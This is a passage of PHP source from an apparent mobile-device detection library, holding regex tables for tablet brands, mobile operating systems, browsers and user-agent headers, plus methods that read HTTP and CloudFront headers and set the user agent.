        'PointOfViewTablet' => 'TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10',
        // http://www.overmax.pl/pl/katalog-produktow,p8/tablety,c14/
        // @todo: add more tests.
        'OvermaxTablet'     => 'OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore 1027',
        // http://hclmetablet.com/India/index.php
        'HCLTablet'         => 'HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync',
        // http://www.edigital.hu/Tablet_es_e-book_olvaso/Tablet-c18385.html
        'DPSTablet'         => 'DPS Dream 9|DPS Dual 7',
        // http://www.visture.com/index.asp
        'VistureTablet'     => 'V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10',
        // http://www.mijncresta.nl/tablet
        'CrestaTablet'     => 'CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989',
        // MediaTek - http://www.mediatek.com/_en/01_products/02_proSys.php?cata_sn=1&cata1_sn=1&cata2_sn=309
        'MediatekTablet' => '\bMT8125|MT8389|MT8135|MT8377\b',
        // Concorde tab
        'ConcordeTablet' => 'Concorde([ ]+)?Tab|ConCorde ReadMan',
        // GoClever Tablets - http://www.goclever.com/uk/products,c1/tablet,c5/
        'GoCleverTablet' => 'GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042',
        // Modecom Tablets - http://www.modecom.eu/tablets/portal/
        'ModecomTablet' => 'FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003',
        // Vonino Tablets
        'VoninoTablet'  => '\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\bQ8\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\b',
        // ECS Tablets - http://www.ecs.com.tw/ECSWebSite/Product/Product_Tablet_List.aspx?CategoryID=14&MenuID=107&childid=M_107&LanID=0
        'ECSTablet'     => 'V07OT2|TM105A|S10OT1|TR10CS1',
        // Storex Tablets - http://storex.fr/espace_client/support.html
        // @note: no need to add all the tablet codes since they are guided by the first regex.
        'StorexTablet'  => 'eZee[_\']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab',
        // Generic Vodafone tablets.
        'VodafoneTablet' => 'SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497|VFD 1400',
        // French tablets - Essentiel B http://www.boulanger.fr/tablette_tactile_e-book/tablette_tactile_essentiel_b/cl_68908.htm?multiChoiceToDelete=brand&mc_brand=essentielb
        // Aka: http://www.essentielb.fr/
        'EssentielBTablet' => 'Smart[ \']?TAB[ ]+?[0-9]+|Family[ \']?TAB2',
        // Ross & Moor - http://ross-moor.ru/
        'RossMoorTablet' => 'RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711',
        // i-mobile http://product.i-mobilephone.com/Mobile_Device
        'iMobileTablet'        => 'i-mobile i-note',
        // http://www.tolino.de/de/vergleichen/
        'TolinoTablet'  => 'tolino tab [0-9.]+|tolino shine',
        // AudioSonic - a Kmart brand
        // http://www.kmart.com.au/webapp/wcs/stores/servlet/Search?langId=-1&storeId=10701&catalogId=10001&categoryId=193001&pageSize=72&currentPage=1&searchCategory=193001%2b4294965664&sortBy=p_MaxPrice%7c1
        'AudioSonicTablet' => '\bC-22Q|T7-QC|T-17B|T-17P\b',
        // AMPE Tablets - http://www.ampe.com.my/product-category/tablets/
        // @todo: add them gradually to avoid conflicts.
        'AMPETablet' => 'Android.* A78 ',
        // Skk Mobile - http://skkmobile.com.ph/product_tablets.php
        'SkkTablet' => 'Android.* (SKYPAD|PHOENIX|CYCLOPS)',
        // Tecno Mobile (only tablet) - http://www.tecno-mobile.com/index.php/product?filterby=smart&list_order=all&page=1
        'TecnoTablet' => 'TECNO P9|TECNO DP8D',
        // JXD (consoles & tablets) - http://jxd.hk/products.asp?selectclassid=009008&clsid=3
        'JXDTablet' => 'Android.* \b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\b',
        // i-Joy tablets - http://www.i-joy.es/en/cat/products/tablets/
        'iJoyTablet' => 'Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)',
        // http://www.intracon.eu/tablet
        'FX2Tablet' => 'FX2 PAD7|FX2 PAD10',
        // http://www.xoro.de/produkte/
        // @note: Might be the same brand with 'Simply tablets'
        'XoroTablet'        => 'KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151',
        // http://www1.viewsonic.com/products/computing/tablets/
        'ViewsonicTablet'   => 'ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a',
        // https://www.verizonwireless.com/tablets/verizon/
        'VerizonTablet' => 'QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1',
        // http://www.odys.de/web/internet-tablet_en.html
        'OdysTablet'        => 'LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10',
        // http://www.captiva-power.de/products.html#tablets-en
        'CaptivaTablet'     => 'CAPTIVA PAD',
        // IconBIT - http://www.iconbit.com/products/tablets/
        'IconbitTablet' => 'NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S',
        // http://www.teclast.com/topic.php?channelID=70&topicID=140&pid=63
        'TeclastTablet' => 'T98 4G|\bP80\b|\bX90HD\b|X98 Air|X98 Air 3G|\bX89\b|P80 3G|\bX80h\b|P98 Air|\bX89HD\b|P98 3G|\bP90HD\b|P89 3G|X98 3G|\bP70h\b|P79HD 3G|G18d 3G|\bP79HD\b|\bP89s\b|\bA88\b|\bP10HD\b|\bP19HD\b|G18 3G|\bP78HD\b|\bA78\b|\bP75\b|G17s 3G|G17h 3G|\bP85t\b|\bP90\b|\bP11\b|\bP98t\b|\bP98HD\b|\bG18d\b|\bP85s\b|\bP11HD\b|\bP88s\b|\bA80HD\b|\bA80se\b|\bA10h\b|\bP89\b|\bP78s\b|\bG18\b|\bP85\b|\bA70h\b|\bA70\b|\bG17\b|\bP18\b|\bA80s\b|\bA11s\b|\bP88HD\b|\bA80h\b|\bP76s\b|\bP76h\b|\bP98\b|\bA10HD\b|\bP78\b|\bP88\b|\bA11\b|\bA10t\b|\bP76a\b|\bP76t\b|\bP76e\b|\bP85HD\b|\bP85a\b|\bP86\b|\bP75HD\b|\bP76v\b|\bA12\b|\bP75a\b|\bA15\b|\bP76Ti\b|\bP81HD\b|\bA10\b|\bT760VE\b|\bT720HD\b|\bP76\b|\bP73\b|\bP71\b|\bP72\b|\bT720SE\b|\bC520Ti\b|\bT760\b|\bT720VE\b|T720-3GE|T720-WiFi',
        // Onda - http://www.onda-tablet.com/buy-android-onda.html?dir=desc&limit=all&order=price
        'OndaTablet' => '\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\b[\s]+|V10 \b4G\b',
        'JaytechTablet'     => 'TPC-PA762',
        'BlaupunktTablet'   => 'Endeavour 800NG|Endeavour 1010',
        // http://www.digma.ru/support/download/
        // @todo: Ebooks also (if requested)
        'DigmaTablet' => '\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b',
        // http://www.evolioshop.com/ro/tablete-pc.html
        // http://www.evolio.ro/support/downloads_static.html?cat=2
        // @todo: Research some more
        'EvolioTablet' => 'ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b',
        // @todo http://www.lavamobiles.com/tablets-data-cards
        'LavaTablet' => 'QPAD E704|\bIvoryS\b|E-TAB IVORY|\bE-TAB\b',
        // http://www.breezetablet.com/
        'AocTablet' => 'MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712',
        // http://www.mpmaneurope.com/en/products/internet-tablets-14/android-tablets-14/
        'MpmanTablet' => 'MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\bMPG7\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010',
        // https://www.celkonmobiles.com/?_a=categoryphones&sid=2
        'CelkonTablet' => 'CT695|CT888|CT[\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b',
        // http://www.wolderelectronics.com/productos/manuales-y-guias-rapidas/categoria-2-miTab
        'WolderTablet' => 'miTab \b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\b',
        'MediacomTablet' => 'M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA',
        // http://www.mi.com/en
        'MiTablet' => '\bMI PAD\b|\bHM NOTE 1W\b',
        // http://www.nbru.cn/index.html
        'NibiruTablet' => 'Nibiru M1|Nibiru Jupiter One',
        // http://navroad.com/products/produkty/tablety/
        // http://navroad.com/products/produkty/tablety/
        'NexoTablet' => 'NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI',
        // http://leader-online.com/new_site/product-category/tablets/
        // http://www.leader-online.net.au/List/Tablet
        'LeaderTablet' => 'TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100',
        // http://www.datawind.com/ubislate/
        'UbislateTablet' => 'UbiSlate[\s]?7C',
        // http://www.pocketbook-int.com/ru/support
        'PocketBookTablet' => 'Pocketbook',
        // http://www.kocaso.com/product_tablet.html
        'KocasoTablet' => '\b(TB-1207)\b',
        // http://global.hisense.com/product/asia/tablet/Sero7/201412/t20141215_91832.htm
        'HisenseTablet' => '\b(F5281|E2371)\b',
        // http://www.tesco.com/direct/hudl/
        'Hudl'              => 'Hudl HT7S3|Hudl 2',
        // http://www.telstra.com.au/home-phone/thub-2/
        'TelstraTablet'     => 'T-Hub2',
        'GenericTablet'     => 'Android.*\b97D\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|rk30sdk|\bEVOTAB\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\bM6pro\b|CT1020W|arc 10HD|\bTP750\b|\bQTAQZ3\b|WVT101|TM1088|KT107'
    ];

    /**
     * List of mobile Operating Systems.
     *
     * @var array
     */
    protected static array $operatingSystems = [
        'AndroidOS'         => 'Android',
        'BlackBerryOS'      => 'blackberry|\bBB10\b|rim tablet os',
        'PalmOS'            => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino',
        'SymbianOS'         => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b',
        // @reference: http://en.wikipedia.org/wiki/Windows_Mobile
        'WindowsMobileOS'   => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Windows Mobile|Windows Phone [0-9.]+|WCE;',
        // @reference: http://en.wikipedia.org/wiki/Windows_Phone
        // http://wifeng.cn/?r=blog&a=view&id=106
        // http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx
        // http://msdn.microsoft.com/library/ms537503.aspx
        // https://msdn.microsoft.com/en-us/library/hh869301(v=vs.85).aspx
        'WindowsPhoneOS'   => 'Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;',
        'iOS'               => '\biPhone.*Mobile|\biPod|\biPad|AppleCoreMedia',
        // https://en.wikipedia.org/wiki/IPadOS
        'iPadOS' => 'CPU OS 13',
        // @reference https://en.m.wikipedia.org/wiki/Sailfish_OS
        // https://sailfishos.org/
        'SailfishOS'        => 'Sailfish',
        // http://en.wikipedia.org/wiki/MeeGo
        // @todo: research MeeGo in UAs
        'MeeGoOS'           => 'MeeGo',
        // http://en.wikipedia.org/wiki/Maemo
        // @todo: research Maemo in UAs
        'MaemoOS'           => 'Maemo',
        'JavaOS'            => 'J2ME/|\bMIDP\b|\bCLDC\b', // '|Java/' produces bug #135
        'webOS'             => 'webOS|hpwOS',
        'badaOS'            => '\bBada\b',
        'BREWOS'            => 'BREW',
    ];

    /**
     * List of mobile User Agents.
     *
     * IMPORTANT: This is a list of only mobile browsers.
     * Mobile Detect 2.x supports only mobile browsers,
     * it was never designed to detect all browsers.
     * The change will come in 2017 in the 3.x release for PHP7.
     *
     * @var array
     */
    protected static array $browsers = [
        //'Vivaldi'         => 'Vivaldi',
        // @reference: https://developers.google.com/chrome/mobile/docs/user-agent
        'Chrome'          => '\bCrMo\b|CriOS.*Mobile|Android.*Chrome/[.0-9]* Mobile',
        'Dolfin'          => '\bDolfin\b',
        'Opera'           => 'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+$|Coast/[0-9.]+',
        'Skyfire'         => 'Skyfire',
        // Added "Edge on iOS" https://github.com/serbanghita/Mobile-Detect/issues/764
        'Edge'             => 'EdgiOS.*Mobile|Mobile Safari/[.0-9]* Edge',
        'IE'              => 'IEMobile|MSIEMobile', // |Trident/[.0-9]+
        'Firefox'         => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS.*Mobile',
        'Bolt'            => 'bolt',
        'TeaShark'        => 'teashark',
        'Blazer'          => 'Blazer',
        // @reference: http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3
        // Excluded "Edge on iOS" https://github.com/serbanghita/Mobile-Detect/issues/764
        'Safari'          => 'Version((?!\bEdgiOS\b).)*Mobile.*Safari|Safari.*Mobile|MobileSafari',
        // http://en.wikipedia.org/wiki/Midori_(web_browser)
        //'Midori'          => 'midori',
        //'Tizen'           => 'Tizen',
        'WeChat'          => '\bMicroMessenger\b',
        'UCBrowser'       => 'UC.*Browser|UCWEB',
        'baiduboxapp'     => 'baiduboxapp',
        'baidubrowser'    => 'baidubrowser',
        // https://github.com/serbanghita/Mobile-Detect/issues/7
        'DiigoBrowser'    => 'DiigoBrowser',
        // http://www.puffinbrowser.com/index.php
        // https://github.com/serbanghita/Mobile-Detect/issues/752
        // 'Puffin'            => 'Puffin',
        // http://mercury-browser.com/index.html
        'Mercury'          => '\bMercury\b',
        // http://en.wikipedia.org/wiki/Obigo_Browser
        'ObigoBrowser' => 'Obigo',
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront' => 'NF-Browser',
        // @reference: http://en.wikipedia.org/wiki/Minimo
        // http://en.wikipedia.org/wiki/Vision_Mobile_Browser
        'GenericBrowser'  => 'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger',
        // @reference: https://en.wikipedia.org/wiki/Pale_Moon_(web_browser)
        'PaleMoon'        => 'Android.*PaleMoon|Mobile.*PaleMoon',
    ];

    /**
     * All possible HTTP headers that represent the
     * User-Agent string.
     *
     * @var array
     */
    protected static array $uaHttpHeaders = [
        // The default User-Agent string.
        'HTTP_USER_AGENT',
        // Header can occur on devices using Opera Mini.
        'HTTP_X_OPERAMINI_PHONE_UA',
        // Vodafone specific header: http://www.seoprinciple.com/mobile-web-community-still-angry-at-vodafone/24/
        'HTTP_X_DEVICE_USER_AGENT',
        'HTTP_X_ORIGINAL_USER_AGENT',
        'HTTP_X_SKYFIRE_PHONE',
        'HTTP_X_BOLT_PHONE_UA',
        'HTTP_DEVICE_STOCK_UA',
        'HTTP_X_UCBROWSER_DEVICE_UA'
    ];

    /**
     * The individual segments that could exist in a User-Agent string. VER refers to the regular
     * expression defined in the constant self::VER.
     *
     * @var array
     */
    protected static array $properties = [

        // Build
        'Mobile'        => 'Mobile/[VER]',
        'Build'         => 'Build/[VER]',
        'Version'       => 'Version/[VER]',
        'VendorID'      => 'VendorID/[VER]',

        // Devices
        'iPad'          => 'iPad.*CPU[a-z ]+[VER]',
        'iPhone'        => 'iPhone.*CPU[a-z ]+[VER]',
        'iPod'          => 'iPod.*CPU[a-z ]+[VER]',
        //'BlackBerry'    => array('BlackBerry[VER]', 'BlackBerry [VER];'),
        'Kindle'        => 'Kindle/[VER]',

        // Browser
        'Chrome'        => ['Chrome/[VER]', 'CriOS/[VER]', 'CrMo/[VER]'],
        'Coast'         => ['Coast/[VER]'],
        'Dolfin'        => 'Dolfin/[VER]',
        // @reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox
        'Firefox'       => ['Firefox/[VER]', 'FxiOS/[VER]'],
        'Fennec'        => 'Fennec/[VER]',
        // http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx
        // https://msdn.microsoft.com/en-us/library/ie/hh869301(v=vs.85).aspx
        'Edge' => 'Edge/[VER]',
        'IE'      => ['IEMobile/[VER];', 'IEMobile [VER]', 'MSIE [VER];', 'Trident/[0-9.]+;.*rv:[VER]'],
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront'      => 'NetFront/[VER]',
        'NokiaBrowser'  => 'NokiaBrowser/[VER]',
        'Opera'         => [' OPR/[VER]', 'Opera Mini/[VER]', 'Version/[VER]'],
        'Opera Mini'    => 'Opera Mini/[VER]',
        'Opera Mobi'    => 'Version/[VER]',
        'UCBrowser'    => ['UCWEB[VER]', 'UC.*Browser/[VER]'],
        'MQQBrowser'    => 'MQQBrowser/[VER]',
        'MicroMessenger' => 'MicroMessenger/[VER]',
        'baiduboxapp'   => 'baiduboxapp/[VER]',
        'baidubrowser'  => 'baidubrowser/[VER]',
        'SamsungBrowser' => 'SamsungBrowser/[VER]',
        'Iron'          => 'Iron/[VER]',
        // @note: Safari 7534.48.3 is actually Version 5.1.
        // @note: On BlackBerry the Version is overwriten by the OS.
        'Safari'        => ['Version/[VER]', 'Safari/[VER]'],
        'Skyfire'       => 'Skyfire/[VER]',
        'Tizen'         => 'Tizen/[VER]',
        'Webkit'        => 'webkit[ /][VER]',
        'PaleMoon'         => 'PaleMoon/[VER]',
        'SailfishBrowser'  => 'SailfishBrowser/[VER]',

        // Engine
        'Gecko'         => 'Gecko/[VER]',
        'Trident'       => 'Trident/[VER]',
        'Presto'        => 'Presto/[VER]',
        'Goanna'           => 'Goanna/[VER]',

        // OS
        'iOS'              => ' \bi?OS\b [VER][ ;]{1}',
        'Android'          => 'Android [VER]',
        'Sailfish'         => 'Sailfish [VER]',
        'BlackBerry'       => ['BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]', 'Version/[VER]'],
        'BREW'             => 'BREW [VER]',
        'Java'             => 'Java/[VER]',
        // @reference: http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx
        // @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases
        'Windows Phone OS' => ['Windows Phone OS [VER]', 'Windows Phone [VER]'],
        'Windows Phone'    => 'Windows Phone [VER]',
        'Windows CE'       => 'Windows CE/[VER]',
        // http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd
        'Windows NT'       => 'Windows NT [VER]',
        'Symbian'          => ['SymbianOS/[VER]', 'Symbian/[VER]'],
        'webOS'            => ['webOS/[VER]', 'hpwOS/[VER];'],
    ];

    /**
     * Construct an instance of this class.
     *
     * @param array|null $headers Specify the headers as injection. Should be PHP _SERVER flavored.
     *                            If left empty, will use the global _SERVER['HTTP_*'] vars instead.
     * @param string|null $userAgent Inject the User-Agent header. If null, will use HTTP_USER_AGENT
     *                               from the $headers array instead.
     */
    public function __construct(array $headers = null, string $userAgent = null)
    {
        $this->setHttpHeaders($headers);
        $this->setUserAgent($userAgent);
    }

    /**
     * Get the current script version.
     * This is useful for the demo.php file,
     * so people can check on what version they are testing
     * for mobile devices.
     *
     * @return string The version number in semantic version format.
     */
    public static function getScriptVersion(): string
    {
        return self::VERSION;
    }

    /**
     * Set the HTTP Headers. Must be PHP-flavored. This method will reset existing headers.
     *
     * @param array|null $httpHeaders The headers to set. If null, then using PHP's _SERVER to extract
     *                           the headers. The default null is left for backwards compatibility.
     */
    public function setHttpHeaders(array $httpHeaders = null)
    {
        // use global _SERVER if $httpHeaders aren't defined
        if (!is_array($httpHeaders) || !count($httpHeaders)) {
            $httpHeaders = $_SERVER;
        }

        // clear existing headers
        $this->httpHeaders = array();

        // Only save HTTP headers. In PHP land, that means only _SERVER vars that
        // start with HTTP_.
        foreach ($httpHeaders as $key => $value) {
            if (substr($key, 0, 5) === 'HTTP_') {
                $this->httpHeaders[$key] = $value;
            }
        }

        // In case we're dealing with CloudFront, we need to know.
        $this->setCfHeaders($httpHeaders);
    }

    /**
     * Retrieves the HTTP headers.
     *
     * @return array
     */
    public function getHttpHeaders(): array
    {
        return $this->httpHeaders;
    }

    /**
     * Retrieves a particular header. If it doesn't exist, no exception/error is caused.
     * Simply null is returned.
     *
     * @param string $header The name of the header to retrieve. Can be HTTP compliant such as
     *                       "User-Agent" or "X-Device-User-Agent" or can be php-esque with the
     *                       all-caps, HTTP_ prefixed, underscore separated awesomeness.
     *
     * @return string|null The value of the header.
     */
    public function getHttpHeader(string $header): ?string
    {
        // are we using PHP-flavored headers?
        if (strpos($header, '_') === false) {
            $header = str_replace('-', '_', $header);
            $header = strtoupper($header);
        }

        // test the alternate, too
        $altHeader = 'HTTP_' . $header;

        //Test both the regular and the HTTP_ prefix
        if (isset($this->httpHeaders[$header])) {
            return $this->httpHeaders[$header];
        } elseif (isset($this->httpHeaders[$altHeader])) {
            return $this->httpHeaders[$altHeader];
        }

        return null;
    }

    public function getMobileHeaders(): array
    {
        return static::$mobileHeaders;
    }

    /**
     * Get all possible HTTP headers that
     * can contain the User-Agent string.
     *
     * @return array List of HTTP headers.
     */
    public function getUaHttpHeaders(): array
    {
        return static::$uaHttpHeaders;
    }


    /**
     * Set CloudFront headers
     * http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device
     *
     * @param array|null $cfHeaders List of HTTP headers
     *
     * @return bool If there were CloudFront headers to be set
     */
    public function setCfHeaders(array $cfHeaders = null): bool
    {
        // use global _SERVER if $cfHeaders aren't defined
        if (!is_array($cfHeaders) || !count($cfHeaders)) {
            $cfHeaders = $_SERVER;
        }

        // clear existing headers
        $this->cloudfrontHeaders = array();

        // Only save CLOUDFRONT headers. In PHP land, that means only _SERVER vars that
        // start with cloudfront-.
        $response = false;
        foreach ($cfHeaders as $key => $value) {
            if (substr(strtolower($key), 0, 16) === 'http_cloudfront_') {
                $this->cloudfrontHeaders[strtoupper($key)] = $value;
                $response = true;
            }
        }

        return $response;
    }

    /**
     * Retrieves the cloudfront headers.
     *
     * @return array
     */
    public function getCfHeaders(): array
    {
        return $this->cloudfrontHeaders;
    }

    /**
     * @param string $userAgent
     * @return string
     */
    private function prepareUserAgent(string $userAgent): string
    {
        $userAgent = trim($userAgent);
        return substr($userAgent, 0, 500);
    }

    /**
     * Set the User-Agent to be used.
     *
     * @param string|null $userAgent The user agent string to set.
     *
     * @return string|null
     */
    public function setUserAgent(string $userAgent = null): ?string
    {
        // Invalidate cache due to #375
        $this->cache = array();

        if (false === empty($userAgent)) {
            return $this->userAgent = $this->prepareUserAgent($userAgent);
        } else {
            $this->userAgent = null;
            foreach ($this->getUaHttpHeaders() as $altHeader) {
                // @todo: should use getHttpHeader(), but it would be slow. (Serban)
                if (false === empty($this->httpHeaders[$altHeader])) {
                    $this->userAgent .= $this->httpHeaders[$altHeader] . " ";
                }
            }

            if (!empty($this->userAgent)) {
                return $this->userAgent = $this->prepareUserAgent($this->userAgent);
            }
        }

        if (count($this->getCfHeaders()) > 0) {
            return $this->userAgent = 'Amazon CloudFront';
        }
        return $this->userAgent = null;
    }

    /**
     * Retrieve the User-Agent.
     *
     * @return string|null The user agent if it's set.
     */
    public function getUserAgent(): ?string
    {
        return $this->userAgent;
    }

    public function getMatchingRegex(): ?string
    {
        return $this->matchingRegex;
    }

    public function getMatchesArray(): ?array
    {
        return $this->matchesArray;
    }

    /**
     * Retrieve the list of known phone devices.
     *
     * @return array List of phone devices.
     */
    public static function getPhoneDevices(): array
    {
        return static::$phoneDevices;
    }

    /**
     * Retrieve the list of known tablet devices.
     *
     * @return array List of tablet devices.
     */
    public static function getTabletDevices(): array
    {
        return static::$tabletDevices;
    }

    /**
     * Alias for getBrowsers() method.
     *
     * @return array List of user agents.
     */
    public static function getUserAgents(): array
    {
        return static::getBrowsers();
    }

    /**
     * Retrieve the list of known browsers. Specifically, the user agents.
     *
     * @return array List of browsers / user agents.
     */
    public static function getBrowsers(): array
    {
        return static::$browsers;
    }

    /**
